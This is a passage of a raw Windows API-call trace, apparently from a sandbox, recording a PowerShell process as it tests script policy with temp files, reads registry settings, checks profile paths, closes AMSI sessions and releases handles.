lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", lpFilePart=0x0) returned 0x49 [0186.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd2a0) returned 1 [0186.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_hby2evjc.ztp.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x670 [0186.943] GetFileType (hFile=0x670) returned 0x1 [0186.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd210) returned 1 [0186.943] GetFileType (hFile=0x670) returned 0x1 [0186.943] WriteFile (in: hFile=0x670, lpBuffer=0x1ef003d1cd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x5bfdabd308, lpOverlapped=0x0 | out: lpBuffer=0x1ef003d1cd8*, lpNumberOfBytesWritten=0x5bfdabd308*=0x1, lpOverlapped=0x0) returned 1 [0186.944] CloseHandle (hObject=0x670) returned 1 [0186.946] CoTaskMemAlloc (cb=0x92) returned 0x1ef6e3cd0e0 [0186.946] IdentifyCodeAuthzLevelW () returned 0x1 [0186.956] CoTaskMemFree (pv=0x1ef6e3cd0e0) [0186.957] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0186.957] CloseCodeAuthzLevel () returned 0x1 [0186.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0186.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", lpFilePart=0x0) returned 0x48 [0186.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd430) returned 1 [0186.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_gbvqg2du.z4l.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd510 | out: lpFileInformation=0x5bfdabd510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7313710, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0xc7313710, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xc73398e3, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0186.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd3f0) returned 1 [0186.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0186.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", lpFilePart=0x0) returned 0x48 [0186.958] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_gbvqg2du.z4l.ps1")) returned 1 [0186.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0186.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", lpFilePart=0x0) returned 0x49 [0186.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd430) returned 1 [0186.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_hby2evjc.ztp.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd510 | out: lpFileInformation=0x5bfdabd510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc73398e3, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0xc73398e3, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xc73398e3, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0186.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd3f0) returned 1 [0186.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0186.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", lpFilePart=0x0) returned 0x49 [0186.960] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_hby2evjc.ztp.psm1")) returned 1 [0186.961] GetSystemInfo (in: lpSystemInfo=0x5bfdabd5e0 | out: lpSystemInfo=0x5bfdabd5e0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0186.961] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd4e8 | out: phkResult=0x5bfdabd4e8*=0x674) returned 0x0 [0186.961] RegQueryValueExW (in: hKey=0x674, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfdabd538, lpData=0x0, lpcbData=0x5bfdabd530*=0x0 | out: lpType=0x5bfdabd538*=0x0, lpData=0x0, lpcbData=0x5bfdabd530*=0x0) returned 0x2 [0186.961] RegCloseKey (hKey=0x674) returned 0x0 [0186.962] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd548 | out: phkResult=0x5bfdabd548*=0x674) returned 0x0 [0186.962] RegQueryValueExW (in: hKey=0x674, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd598, lpData=0x0, lpcbData=0x5bfdabd590*=0x0 | out: lpType=0x5bfdabd598*=0x1, lpData=0x0, lpcbData=0x5bfdabd590*=0x56) returned 0x0 [0186.962] RegQueryValueExW (in: hKey=0x674, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd598, lpData=0x1ef003d33d8, lpcbData=0x5bfdabd590*=0x56 | out: lpType=0x5bfdabd598*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd590*=0x56) returned 0x0 [0186.962] RegCloseKey (hKey=0x674) returned 0x0 [0186.963] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd548 | out: phkResult=0x5bfdabd548*=0x674) returned 0x0 [0186.963] RegQueryValueExW (in: hKey=0x674, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd598, lpData=0x0, lpcbData=0x5bfdabd590*=0x0 | out: lpType=0x5bfdabd598*=0x1, lpData=0x0, lpcbData=0x5bfdabd590*=0x56) returned 0x0 [0186.963] RegQueryValueExW (in: hKey=0x674, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd598, lpData=0x1ef003d37e0, lpcbData=0x5bfdabd590*=0x56 | out: lpType=0x5bfdabd598*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd590*=0x56) returned 0x0 [0186.963] RegCloseKey (hKey=0x674) returned 0x0 [0186.978] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70473060 [0186.978] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ef70473060 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0186.979] CoTaskMemFree (pv=0x1ef70473060) [0186.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0186.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0186.979] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70474380 [0186.979] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ef70474380 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0186.979] CoTaskMemFree (pv=0x1ef70474380) [0186.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0186.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0186.982] QueryPerformanceFrequency (in: lpFrequency=0x7ff968c25028 | out: lpFrequency=0x7ff968c25028*=100000000) returned 1 [0186.982] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfdabd6f8 | out: lpPerformanceCount=0x5bfdabd6f8*=28297054497) returned 1 [0186.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0186.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0186.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd560) returned 1 [0186.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd640 | out: lpFileInformation=0x5bfdabd640*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd520) returned 1 [0186.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0186.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0186.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd560) returned 1 [0186.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd640 | out: lpFileInformation=0x5bfdabd640*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd520) returned 1 [0186.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0186.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x37 [0186.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd560) returned 1 [0186.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd640 | out: lpFileInformation=0x5bfdabd640*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd520) returned 1 [0186.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0186.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4c [0186.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd560) returned 1 [0186.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd640 | out: lpFileInformation=0x5bfdabd640*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd520) returned 1 [0186.985] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfdabd6c8 | out: lpPerformanceCount=0x5bfdabd6c8*=28297339085) returned 1 [0186.987] GetCurrentProcessId () returned 0x1328 [0186.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ef100319a0, Length=0x26698, ResultLength=0x5bfdabd5e0 | out: SystemInformation=0x1ef100319a0, ResultLength=0x5bfdabd5e0*=0x23ac8) returned 0x0 [0188.085] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x674 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x670 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x678 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x67c [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x680 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x684 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x688 [0188.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x68c [0188.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x690 [0188.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x694 [0188.087] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x698 [0188.087] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x69c [0188.100] SetEvent (hEvent=0x67c) returned 1 [0188.100] SetEvent (hEvent=0x674) returned 1 [0188.100] SetEvent (hEvent=0x670) returned 1 [0188.100] SetEvent (hEvent=0x678) returned 1 [0188.101] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6a0 [0188.102] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd398 | out: phkResult=0x5bfdabd398*=0x6a4) returned 0x0 [0188.102] RegQueryValueExW (in: hKey=0x6a4, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x5bfdabd3e8, lpData=0x0, lpcbData=0x5bfdabd3e0*=0x0 | out: lpType=0x5bfdabd3e8*=0x0, lpData=0x0, lpcbData=0x5bfdabd3e0*=0x0) returned 0x2 [0188.103] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6a8 [0188.104] SetEvent (hEvent=0x6a8) returned 1 [0203.177] AmsiCloseSession () returned 0x7ff9dc0cb0a8 [0203.177] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x91c [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x918 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x788 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x920 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c0 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x9c8 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9c4 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9e4 [0203.178] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9e0 [0203.179] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x9e8 [0203.179] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9ec [0203.179] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9f0 [0203.179] SetEvent (hEvent=0x920) returned 1 [0203.179] SetEvent (hEvent=0x91c) returned 1 [0203.179] SetEvent (hEvent=0x918) returned 1 [0203.179] SetEvent (hEvent=0x788) returned 1 [0203.179] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9f4 [0203.180] SetEvent (hEvent=0x6a8) returned 1 [0206.334] SetEvent (hEvent=0x9c0) returned 1 [0206.334] SetEvent (hEvent=0x9c8) returned 1 [0206.334] SetEvent (hEvent=0x9c4) returned 1 [0209.105] CoCreateGuid (in: pguid=0x5bfdabc798 | out: pguid=0x5bfdabc798*(Data1=0xbc4f3fc2, Data2=0x49c3, Data3=0x466d, Data4=([0]=0xaf, [1]=0x36, [2]=0xd4, [3]=0xf5, [4]=0x80, [5]=0x77, [6]=0x67, [7]=0x46))) returned 0x0 [0209.115] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef00716720*="Stopped", lpRawData=0x1ef00716588) returned 1 [0209.117] AmsiCloseSession () returned 0x7ff9dc0cb0a8 [0209.118] AmsiUninitialize () returned 0x1 [0209.217] SetEvent (hEvent=0x6a8) returned 1 [0209.361] CloseHandle (hObject=0x6a8) returned 1 [0210.319] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0210.322] CoGetContextToken (in: pToken=0x5bfdabf4d0 | out: pToken=0x5bfdabf4d0) returned 0x0 [0210.322] CObjectContext::QueryInterface () returned 0x0 [0210.322] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.322] Release () returned 0x0 [0210.323] CoGetContextToken (in: pToken=0x5bfdabefd0 | out: pToken=0x5bfdabefd0) returned 0x0 [0210.323] CObjectContext::QueryInterface () returned 0x0 [0210.323] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.323] Release () returned 0x0 [0210.327] CoGetContextToken (in: pToken=0x5bfdabefd0 | out: pToken=0x5bfdabefd0) returned 0x0 [0210.327] CObjectContext::QueryInterface () returned 0x0 [0210.328] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.328] Release () returned 0x0 [0210.359] CoGetContextToken (in: pToken=0x5bfdabefd0 | out: pToken=0x5bfdabefd0) returned 0x0 [0210.359] CObjectContext::QueryInterface () returned 0x0 [0210.359] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.359] Release () returned 0x0 [0210.421] CoGetContextToken (in: pToken=0x5bfdabeff0 | out: pToken=0x5bfdabeff0) returned 0x0 [0210.421] CObjectContext::QueryInterface () returned 0x0 [0210.421] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.422] Release () returned 0x0 [0210.422] CoUninitialize () Thread: id = 292 os_tid = 0x6dc Thread: id = 293 os_tid = 0xd54 Thread: id = 294 os_tid = 0xb74 [0175.219] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0175.219] RoInitialize () returned 0x1 [0175.220] RoUninitialize () returned 0x0 [0184.360] CoGetContextToken (in: pToken=0x5bfde7fa60 | out: pToken=0x5bfde7fa60) returned 0x0 [0184.360] CoGetContextToken (in: pToken=0x5bfde7f960 | out: pToken=0x5bfde7f960) returned 0x0 [0184.360] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0184.360] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0184.361] CloseHandle (hObject=0x5bc) returned 1 [0184.366] CertFreeCertificateContext (pCertContext=0x1ef70378bd0) returned 1 [0184.367] CloseHandle (hObject=0x5e8) returned 1 [0184.367] CloseHandle (hObject=0x5c8) returned 1 [0191.588] RegCloseKey (hKey=0x6a4) returned 0x0 [0195.077] CertFreeCertificateContext (pCertContext=0x1ef7031d670) returned 1 [0195.078] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0200.647] CloseHandle (hObject=0x760) returned 1 [0200.647] CloseHandle (hObject=0x798) returned 1 [0200.647] CloseHandle (hObject=0x898) returned 1 [0200.648] CloseHandle (hObject=0x7a8) returned 1 [0200.648] CloseHandle (hObject=0x758) returned 1 [0200.648] CloseHandle (hObject=0x73c) returned 1 [0200.649] CloseHandle (hObject=0x7ac) returned 1 [0200.649] CloseHandle (hObject=0x7a0) returned 1 [0200.649] CloseHandle (hObject=0x75c) returned 1 [0200.650] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0200.650] CloseHandle (hObject=0x78c) returned 1 [0200.650] CloseHandle (hObject=0x89c) returned 1 [0200.650] CloseHandle (hObject=0x790) returned 1 [0200.651] CloseHandle (hObject=0x8b8) returned 1 [0200.651] CloseHandle (hObject=0x778) returned 1 [0200.651] CloseHandle (hObject=0x784) returned 1 [0200.651] CloseHandle (hObject=0x768) returned 1 [0200.651] CloseHandle (hObject=0x794) returned 1 [0200.665] CloseHandle (hObject=0x76c) returned 1 [0200.666] CloseHandle (hObject=0x8b4) returned 1 [0200.666] CloseHandle (hObject=0x77c) returned 1 [0200.666] CloseHandle (hObject=0x764) returned 1 [0200.666] CloseHandle (hObject=0x774) returned 1 [0200.666] CloseHandle (hObject=0x780) returned 1 [0200.666] CloseHandle (hObject=0x770) returned 1 [0200.667] CloseHandle (hObject=0x7b0) returned 1 [0210.324] EtwEventUnregister () returned 0x0 [0210.324] EtwEventUnregister () returned 0x0 [0210.324] EtwEventUnregister () returned 0x0 [0210.324] EtwEventUnregister () returned 0x0 [0210.324] EtwEventUnregister () returned 0x0 [0210.325] EtwEventUnregister () returned 0x0 [0210.325] EtwEventUnregister () returned 0x0 [0210.325] EtwEventUnregister () returned 0x0 [0210.325] EtwEventUnregister () returned 0x0 [0210.341] CloseHandle (hObject=0x5e4) returned 1 [0210.345] CloseHandle (hObject=0x9e4) returned 1 [0210.345] CloseHandle (hObject=0x9c4) returned 1 [0210.346] CloseHandle (hObject=0x9c8) returned 1 [0210.346] CloseHandle (hObject=0x9c0) returned 1 [0210.346] CloseHandle (hObject=0x764) returned 1 [0210.346] CloseHandle (hObject=0x774) returned 1 [0210.349] CloseHandle (hObject=0x780) returned 1 [0210.349] CloseHandle (hObject=0x770) returned 1 [0210.349] WinHttpCloseHandle (hInternet=0x1ef704bf6f0) returned 1 [0210.350] CloseHandle (hObject=0x7b0) returned 1 [0210.350] CloseHandle (hObject=0x854) returned 1 [0210.350] CloseHandle (hObject=0x850) returned 1 [0210.351] RegCloseKey (hKey=0x84c) returned 0x0 [0210.352] CloseHandle (hObject=0x698) returned 1 [0210.352] CloseHandle (hObject=0x694) returned 1 [0210.352] CloseHandle (hObject=0x690) returned 1 [0210.353] CloseHandle (hObject=0x68c) returned 1 [0210.353] CloseHandle (hObject=0x688) returned 1 [0210.353] CloseHandle (hObject=0x684) returned 1 [0210.354] CloseHandle (hObject=0x680) returned 1 [0210.354] CloseHandle (hObject=0x67c) returned 1 [0210.354] CloseHandle (hObject=0x678) returned 1 [0210.354] CloseHandle (hObject=0x670) returned 